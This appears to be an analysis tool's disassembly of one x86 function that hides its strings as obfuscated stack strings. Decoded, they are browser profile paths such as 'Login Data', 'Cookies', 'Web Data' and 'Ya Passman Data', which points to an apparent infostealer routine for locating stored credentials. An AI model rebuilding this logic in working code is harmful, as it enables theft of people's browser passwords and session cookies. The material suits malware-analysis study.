Function at 0x40fa47
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x40fe59
cmp word [esi], 0
je 0x40fe59
push esi
call fcn.0041fc47
add esp, 4
cmp word [esi + eax*2 - 2], 0x5c
jne 0x40fa87
push esi
call fcn.0041fc47
add esp, 4
xor ecx, ecx
mov word [esi + eax*2 - 2], cx
push ebx
push esi
call fcn.0041fc47
xor ecx, ecx
push 0x2e
push ecx
lea edx, [ebp - 0x182]
push edx
mov ebx, eax
mov dword [ebp - 0x194], 0x44005c
mov dword [ebp - 0x190], 0x660065
mov dword [ebp - 0x18c], 0x750061
mov dword [ebp - 0x188], 0x74006c
mov word [ebp - 0x184], cx
call fcn.0041fac7
push 0x2c
lea ecx, [ebp - 0x140]
push 0
push ecx
mov dword [ebp - 0x154], 0x50005c
mov dword [ebp - 0x150], 0x6f0072
mov dword [ebp - 0x14c], 0x690066
mov dword [ebp - 0x148], 0x65006c
mov dword [ebp - 0x144], 0x20
call fcn.0041fac7
xor ecx, ecx
add esp, 0x1c
xor eax, eax
mov dword [ebp - 0xd4], 0x47005c
mov dword [ebp - 0xd0], 0x650075
mov dword [ebp - 0xcc], 0x740073
mov dword [ebp - 0xc8], 0x500020
mov dword [ebp - 0xc4], 0x6f0072
mov dword [ebp - 0xc0], 0x690066
mov dword [ebp - 0xbc], 0x65006c
mov word [ebp - 0xb8], cx
mov dword [ebp - 0xb6], eax
mov dword [ebp - 0xb2], eax
mov dword [ebp - 0xae], eax
mov dword [ebp - 0xaa], eax
mov dword [ebp - 0xa6], eax
mov dword [ebp - 0xa2], eax
mov dword [ebp - 0x9e], eax
mov dword [ebp - 0x9a], eax
mov word [ebp - 0x96], ax
mov dword [ebp - 0x94], 0x59005c
mov dword [ebp - 0x90], 0x200061
mov dword [ebp - 0x8c], 0x610050
mov dword [ebp - 0x88], 0x730073
mov dword [ebp - 0x84], 0x61006d
mov dword [ebp - 0x80], 0x20006e
mov dword [ebp - 0x7c], 0x610044
mov dword [ebp - 0x78], 0x610074
mov word [ebp - 0x74], ax
mov dword [ebp - 0x72], eax
mov dword [ebp - 0x6e], eax
mov dword [ebp - 0x6a], eax
mov dword [ebp - 0x66], eax
mov dword [ebp - 0x62], eax
mov dword [ebp - 0x5e], eax
mov dword [ebp - 0x5a], eax
mov word [ebp - 0x56], ax
mov dword [ebp - 0x14], 0x43005c
mov dword [ebp - 0x10], 0x6f006f
mov dword [ebp - 0xc], 0x69006b
mov dword [ebp - 8], 0x730065
mov word [ebp - 4], ax
mov dword [ebp - 0x54], 0x4e005c
mov dword [ebp - 0x50], 0x740065
mov dword [ebp - 0x4c], 0x6f0077
mov dword [ebp - 0x48], 0x6b0072
mov word [ebp - 0x44], ax
mov dword [ebp - 0x42], eax
mov dword [ebp - 0x3e], eax
mov dword [ebp - 0x3a], eax
mov word [ebp - 0x36], ax
mov dword [ebp - 0x34], 0x57005c
mov dword [ebp - 0x30], 0x620065
mov dword [ebp - 0x2c], 0x440020
mov dword [ebp - 0x28], 0x740061
mov dword [ebp - 0x24], 0x61
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], eax
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x114], 0x4c005c
mov dword [ebp - 0x110], 0x67006f
mov dword [ebp - 0x10c], 0x6e0069
mov dword [ebp - 0x108], 0x440020
mov dword [ebp - 0x104], 0x740061
mov dword [ebp - 0x100], 0x61
cmp eax, 0xb
jne 0x40fd02
lea edx, [ebp - 0x14]
mov dword [ebp + 0xc], edx
jmp 0x40fd18
cmp eax, 0xa
jne 0x40fd0f
lea eax, [ebp - 0x34]
mov dword [ebp + 0xc], eax
jmp 0x40fd18
lea ecx, [ebp - 0x114]
mov dword [ebp + 0xc], ecx
mov eax, dword [ebp + 0x10]
push edi
test eax, eax
jne 0x40fd28
lea edi, [ebp - 0x194]
jmp 0x40fd61
lea edx, [eax - 1]
cmp edx, 4
ja 0x40fd52
lea edi, [eax + 0x30]
lea eax, [ebp - 0x154]
push eax
call fcn.0041fc47
mov word [ebp + eax*2 - 0x154], di
add esp, 4
lea edi, [ebp - 0x154]
jmp 0x40fd61
cmp eax, 6
jne 0x40fe00
lea edi, [ebp - 0xd4]
push 0
push edi
push esi
call fcn.0041fdb7
mov ecx, dword [ebp + 0xc]
push 0
push ecx
push esi
call fcn.0041fdb7
mov edx, dword [ebp + 8]
push 0
push 0x15
push esi
push edx
call fcn.00418657
add esp, 0x28
test eax, eax
jne 0x40fe4d
mov eax, dword [ebp + 0xc]
push eax
lea ebx, [esi + ebx*2]
call fcn.0041fc47
mov edx, dword [ebp + 0xc]
lea ecx, [eax + eax + 2]
push ecx
push edx
push ebx
call fcn.0041fa47
mov eax, dword [ebp + 8]
push 0
push 0x15
push esi
push eax
call fcn.00418657
add esp, 0x20
test eax, eax
jne 0x40fe4d
mov eax, dword [ebp + 0x14]
test eax, eax
jne 0x40fe09
push edi
call fcn.0041fc47
lea ecx, [eax + eax + 2]
push ecx
push edi
push ebx
call fcn.0041fa47
push 0
lea edx, [ebp - 0x94]
push edx
push esi
call fcn.0041fdb7
mov eax, dword [ebp + 8]
push 0
push 0x15
push esi
push eax
call fcn.00418657
add esp, 0x2c
test eax, eax
jne 0x40fe4d
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
cmp eax, 0xb
jne 0x40fe00
push edi
call fcn.0041fc47
lea ecx, [eax + eax + 2]
push ecx
push edi
push ebx
call fcn.0041fa47
push 0
lea edx, [ebp - 0x54]
push edx
push esi
call fcn.0041fdb7
mov eax, dword [ebp + 0xc]
push 0
push eax
push esi
call fcn.0041fdb7
mov ecx, dword [ebp + 8]
push 0
push 0x15
push esi
push ecx
call fcn.00418657
add esp, 0x38
test eax, eax
je 0x40fe00
pop edi
pop ebx
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret